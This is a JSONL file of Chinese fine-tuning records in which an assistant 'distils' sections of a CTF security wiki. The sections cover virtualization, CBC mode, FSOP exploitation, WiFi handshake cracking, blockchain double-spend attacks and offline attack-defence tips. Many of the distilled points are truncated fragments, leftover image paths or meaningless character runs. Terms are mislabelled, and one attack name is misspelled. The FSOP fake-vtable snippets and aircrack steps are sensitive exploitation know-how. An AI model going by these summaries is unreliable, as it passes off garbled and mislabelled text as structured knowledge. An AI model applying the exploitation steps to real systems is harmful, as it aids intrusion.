{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-5f1991e1303747bd5a2f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「CPU 虚拟化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 为了满足这个条件， CPU 虚拟化使用的经典模型是「Trap & Emulate」，使用特权级压缩（Ring Compression）的方式来实现虚拟环境： - Hypervisor 运行在最高特权级上，Guest VM 运行在低特权级上，Guest VM 在硬件上直接执行非敏感指令，当 Guest VM 执行到敏感指令时，其便会陷入位于最高特权级的 Hypervisor ，此时便能由 Hypervisor 模拟敏感指令的行为。\n- CPU 虚拟化是系统虚拟化技术中最核心的部分，因为 CPU 是计算机中最核心的组件，直接控制着整个系统的运行，同时内存访问（内存虚拟化）与 I/O 操作（I/O虚拟化）也都直接依赖于 CPU，因此 CPU 虚拟化是系统虚拟化技术中的核心。\n- Goldberg 的合作论文《Formal Requirements for Virtualizable Third Generation Architectures》 中提出了满足虚拟化系统结构的 VMM 的三个充分条件：等价性，资源控制，效率性。\n- 当发生 virtual CPU 调度时，我们将 vCPU 的状态保存，恢复 Hypervisor 状态，Hypervisor 完成其行为后进行下一 virtual CPU 的调度，恢复下一 vCPU 的状态并恢复执行。\n- 文件: ./figure/cpu-virtualization.png]\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 713, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "CPU 虚拟化", "heading_path": ["CPU 虚拟化"], "original_id": "docs-73edb6e5fe1df0f5263a", "original_line": 1399, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "dfefa20714db36671166752e", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-626aa0f1309103df7dee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > BrainFuck > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- Brainfuck，是一种极小化的计算机语言，它是由 Urban Müller 在 1993 年创建的。\n- `` ++++++++++[>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++. >.+++.------.--------.>+.>.\n- 我们举一个例子，如果我们想要一个在屏幕上打印Hello World！\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- classical\n- others.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `++++++++++[>+++++++>++++++++++>+++>+<<<<-]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 255, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "原理", "heading_path": ["其它类型加密", "BrainFuck", "原理"], "original_id": "docs-dbd4ec93838695ecac27", "original_line": 373, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "AI安全", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-631ab920c96674bdc3e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/cbc.md` 中的章节「加密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/cbc.md`\n标题：CBC\n章节：CBC > 加密\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- - 首先将明文分成多个固定长度的数据块 $P_1,P_2,...,P_n$ ，准备一份密钥 $K$ 、一份初始化向量 $IV$ ，加密函数设为 $E_k(x)$ - 将第一个明文块 $P_1$ 与 $IV$ 做异或运算，然后使用加密函数进行加密，得到第一个密文块 $C_1=E_k(P_1 \\oplus IV)$ - 接下来加密后续分组，对于第 $i$ 个明文块 $P_i$ ，先将其与前一个密文块 $C_{i-1}$ 进行异或，然后再进行加密，得到第 $i$ 个密文块 $C_i=E_k(P_i \\oplus C...\n- 我们可以看到每个密文块都会影响下一个块，因此称为 Cipher Block Chaining（链式连接），下图展示了这一过程：\n- CBC 模式对初始向量（Initialization Vector）有如下要求：\n- - 唯一性：在同一个密钥下不能使用相同的 IV - 不可预测性：IV 必须是伪随机的，攻击者必须无法预测下一个 IV 是什么 - 长度要求：IV 的长度必须完全等于底层加密算法的分组大小\n- 需要注意的是，IV 本身并不要求保密，有的密文传输实现甚至会将 IV 显式包含在数据包当中（如 TLS 1.1 的 CBC 密码套件）。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- cbc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 588, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "加密", "heading_path": ["CBC", "加密"], "original_id": "docs-b43a1d6ee726f0d24194", "original_line": 17, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "source_root": "docs", "source_sha256": "967fd18c8236164596850f301cd052c278278b21d1aa64db341b53b17d06c695", "split": "train", "split_group_key": "a19448f42f69261f8a3d5674", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "cbc.md"], "title": "CBC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-640cb76488821d05db6a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/challenges.md` 中的章节「Blockchain Security Challenges in CTF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/challenges.md`\n标题：Blockchain Security Challenges\n章节：Blockchain Security Challenges > Blockchain Security Challenges in CTF\n路径分类：blockchain / blockchain/challenges.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Blockchain Security Challenges in CTF”展开。\n- note 注：CTF 中区块链的题目并不是很多，所以搜集了绝大多数的题目，包括智能合约与公有链相关题目，并按照年份附上题目链接及其 WP 链接，题目列表不完整会随时更新，同一年中比赛名称不区分顺序，如果有多篇 WP，也不区分顺序。\n- 相关题目可到 ctf-challenges/blockchain 仓库查找或在 ChainFlag 靶场在线练习。\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- challenges.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 272, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "ai", "heading": "Blockchain Security Challenges in CTF", "heading_path": ["Blockchain Security Challenges", "Blockchain Security Challenges in CTF"], "original_id": "docs-56bdec0b33a90e19afee", "original_line": 127, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "source_root": "docs", "source_sha256": "1f5f6784399cc85eae9741b340c486348077befe391df570d2add24412f6209c", "split": "train", "split_group_key": "89daa8e6bf62beaa3e289035", "subcategory": "blockchain/challenges.md", "terms": ["区块链安全", "AI安全", "blockchain", "challenges.md"], "title": "Blockchain Security Challenges"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6425bffe5160529ce3dd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/introduction.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/introduction.md`\n标题：图片分析简介\n章节：图片分析简介 > 元数据（Metadata） > 例题\n路径分类：misc / misc/picture/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- @@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\\\\]]]^^^___`aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~ 4d494945767749424144414e42676b71686b6947397730424151454641415343424b6...\n- Break In 2017 - Mysterious GIF 这题的一个难点是发现并提取 GIF 中的元数据，首先 strings 是可以观察到异常点的。\n- \"\"\"###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;\n- 24 484b7735432b667741586c4649746d30396145565458772b787a4c4a623253723667415450574d35715661756278667362356d58482f77443969434c684a536f 25 724b3052485a6b745062457335797444737142486435504646773d3d `` 其他过程这里不在叙述，可参考链接中的 Writeup\n\n关键术语：\n- AI安全\n- 漏洞利用\n- misc\n- picture\n- introduction.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `GIF89a`\n- plain: 2 行，首行 `这里的一串16进制其实是藏在 GIF 的元数据区`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1269, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["图片分析简介", "元数据（Metadata）", "例题"], "original_id": "docs-8686db00d615425ee226", "original_line": 578, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "source_root": "docs", "source_sha256": "ebd475a7ab552a0140dc5e4cbb84be9caa90680da1d6a3312777797eb846adb8", "split": "train", "split_group_key": "cced1f39184ba4f17fa86559", "subcategory": "misc/picture/introduction.md", "terms": ["AI安全", "漏洞利用", "misc", "picture", "introduction.md", "code:shell"], "title": "图片分析简介"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-648f2d97fe0b75e5905d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「AI Agent 的系统架构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > AI Agent 的系统架构\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“AI Agent 的系统架构”展开。\n- 在明确 AI Agent 的基本概念之后，一个更关键的问题是： 这一类系统在工程上是如何被构建出来的？\n- 尽管不同实现存在差异，但当前主流 AI Agent 系统在结构上呈现出高度相似的模块化特征。\n- 一个典型的 AI Agent 系统通常包含以下关键组件：\n- 整体而言，其核心可以抽象为一个由决策核心 + 状态管理 + 工具系统 + 控制循环组成的闭环系统。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 182, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "AI Agent 的系统架构", "heading_path": ["AI Agent", "AI Agent 的系统架构"], "original_id": "docs-b7ff6db9763851cf7e9c", "original_line": 3, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "3bac6fec5ecb2a8a0d46c87b", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6741356d0e2dc5a5853c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fsop.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fsop.md`\n标题：FSOP\n章节：FSOP > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 梳理一下FSOP利用的条件，首先需要攻击者获知libc.so基址，因为_IO_list_all是作为全局变量储存在libc.so中的，不泄漏libc基址就不能改写_IO_list_all。\n- 为了绕过验证，我们提前获得了_IO_write_ptr、_IO_write_base、_mode等数据域的偏移，这样可以在伪造的vtable中构造相应的数据 ` #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8 int main(void) { void ptr;\n- 这里的依据是我们前面给出的 `` if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF;\n- } ` 我们使用分配内存的前0x100个字节作为_IO_FILE，后0x100个字节作为vtable，在vtable中使用0x41414141这个地址作为伪造的_IO_overflow指针。\n- } ` 也就是 fp->_mode <= 0 fp->_IO_write_ptr > fp->_IO_write_base 在这里通过一个示例来验证这一点，首先我们分配一块内存用于存放伪造的vtable和_IO_FILE_plus。\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 5 行，首行 `if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))`\n- plain: 19 行，首行 `#define _IO_list_all 0x7ffff7dd2520`\n- plain: 6 行，首行 `---> call _IO_overflow`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1734, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "示例", "heading_path": ["FSOP", "示例"], "original_id": "docs-094e8c443db7582a4c69", "original_line": 1206, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fsop.md", "source_root": "docs", "source_sha256": "fe379a92828e804e5232308f71ccc6b1199f78ee09c2392e8ef870ceab6f0d8c", "split": "train", "split_group_key": "0b654ad894fce71e54819cfc", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "FSOP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fsop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-68047867a556f41f6a93", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wifi.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wifi.md`\n标题：WIFI\n章节：WIFI > 例题\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- > 实验吧： shipin.cap 从大量的Deauth 攻击基本可以判断是一个破解 wifi 时的流量攻击 同时也成功发现了握手包信息 [图片: shiyanba-wpa;\n- 文件: ./figure/shiyanba-wpa.png] 接下来跑密码 - linux ： aircrack 套件 - windows ： wifipr ，速度比 esaw 快， GTX850 能将近 10w\\s :) 得到密码88888888在 wireshark 中Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit以key:SSID形式填入即可解密 wifi 包看到明文流量 > KCARCK相关: https://www.krackattack...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- misc\n- traffic\n- protocols\n- wifi.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 388, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["WIFI", "例题"], "original_id": "docs-ccc9e45a956987cb119d", "original_line": 614, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wifi.md", "source_root": "docs", "source_sha256": "bb82ceab52a1b4708d952373e032584aaa175fac9dfb62f8c5ef14b0d8bd5b8c", "split": "train", "split_group_key": "d1bdfcc777c027b57c5dc9bd", "subcategory": "misc/traffic/protocols", "terms": ["密码学", "AI安全", "漏洞利用", "misc", "traffic", "protocols", "wifi.md"], "title": "WIFI"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wifi.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-686e6a528c294ef9ddd9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/experience.md` 中的章节「比赛的一些策略」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/experience.md`\n标题：线下攻防经验小结\n章节：线下攻防经验小结 > 比赛的一些策略\n路径分类：introduction / introduction/experience.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“比赛的一些策略”展开。\n- 5. 在开赛初可以将所有的管理密码都设置为同一个密码，这样方便队员登录管理。\n- 1. 在比赛过程中，不宜死耗在一道题上，由于一血的优势性，在比赛过程中更应该全面了解赛题难度，先从 简单题 开始进行分析，步步为营。\n- 应该着力打击和自己实力相当和比自己队伍更强的队伍，尤其是分数相差无几的情况下，更要严防严守。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- experience.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "比赛的一些策略", "heading_path": ["线下攻防经验小结", "比赛的一些策略"], "original_id": "docs-957e52a743444c95a8e6", "original_line": 29, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "source_root": "docs", "source_sha256": "e592320dcfc0ecda96a25a0b459d8a88f3cc2a78f546ee90f9c36ef295764e89", "split": "train", "split_group_key": "0df81ec42238485d2975f38a", "subcategory": "introduction/experience.md", "terms": ["密码学", "漏洞利用", "experience.md"], "title": "线下攻防经验小结"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6933352b8de4c3b21a8a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/summary.md` 中的章节「Vigenere3d.py」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/summary.md`\n标题：总结\n章节：Vigenere3d.py\n路径分类：crypto / crypto/classical/summary.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Vigenere3d.py”展开。\n- 不难看出，密文的每一位只与明文的相应位相关，而且，密钥的每一位的空间最大也就是 s 的大小，所以我们可以使用爆破来获取密钥。\n- 并直接使用其编码结果的数字替代其所代指的字符串，那么加密过程可以用以下公式表示： - $e = f + k1 +k2$ - 其中，e 是密文，f 是明文，k1 与 k2 是通过复制方法得到、与 f 长度一样的密钥，加法是向量加。\n- 无论是 $i+j+k$ 是否超过 len(s) 两者都始终保持一致，即 $t[i][j][k]=t[i][k][j]$ 。\n- 这里根据上述命令行提示，可以知道密钥长度为 14，恰好明文前面7个字节已知。\n- 所以我们只需要通过计算 k1+k2 ，模拟密钥，即可解密。\n\n关键术语：\n- 边界/溢出\n- 密码学\n- AI安全\n- crypto\n- classical\n- summary.md\n\n代码/命令片段线索：\n- plain: 10 行，首行 `**解法一**：`\n- plain: 1 行，首行 `恢复明文的脚本如下`\n- plain: 1 行，首行 `得到明文如下`\n- plain: 10 行，首行 `**解法二**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2469, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "Vigenere3d.py", "heading_path": ["Vigenere3d.py"], "original_id": "docs-e7f366cae3c112484107", "original_line": 388, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "source_root": "docs", "source_sha256": "2ba3e6d53373332f5d4b059bfb576dd03c7d445a2456057fb1d5d9d84d31b435", "split": "train", "split_group_key": "13715413711e30c5821b6442", "subcategory": "crypto/classical/summary.md", "terms": ["边界/溢出", "密码学", "AI安全", "crypto", "classical", "summary.md"], "title": "总结"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-6dd8652f6525968ab779", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/publicblockchain/weaknesses.md` 中的章节「Vector76 attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/publicblockchain/weaknesses.md`\n标题：Blockchain Weaknesses\n章节：Blockchain Weaknesses > Double-spending attack > Vector76 attack\n路径分类：blockchain / blockchain/publicblockchain/weaknesses.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Vector76 attack”展开。\n- 也被称为一次确认攻击，是 Race attack 和 Fenny attack 的结合，使得具有一个确认的交易仍然可被撤销。\n- 在这种攻击中，一名矿工创建了两个节点，其中一个连接到商家节点，另一个节点连接到区块链网络中连接良好的节点。\n- 攻击者不立即广播这两笔交易而是在交易1的分支上进行挖矿，攻击者挖到区块后，向商家节点广播交易1，向另一个节点广播交易 2。\n- 交易2被认为有效后，攻击者立即把自己之前在交易1分支上挖到的区块广播给商家，这时，这个接受一次确认就支付的商家会确认交易成功。\n- topic=36788.msg463391#msg463391 http://www.reddit.com/r/Bitcoin/comments/2e7bfa/vector76_double_spend_attack/cjwya6x\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- publicblockchain\n- weaknesses.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 542, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "Vector76 attack", "heading_path": ["Blockchain Weaknesses", "Double-spending attack", "Vector76 attack"], "original_id": "docs-1a8f18ca8a3d4e7e8ec1", "original_line": 192, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "source_root": "docs", "source_sha256": "b1774aa1b004a4cec3c24fd8294d01a05dae6adac2a50593cc482ec59699b67b", "split": "train", "split_group_key": "87e3b9710336d5018c6d4952", "subcategory": "blockchain/publicblockchain/weaknesses.md", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "publicblockchain", "weaknesses.md"], "title": "Blockchain Weaknesses"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "split": "train", "type": "ctf_lora_sft"}
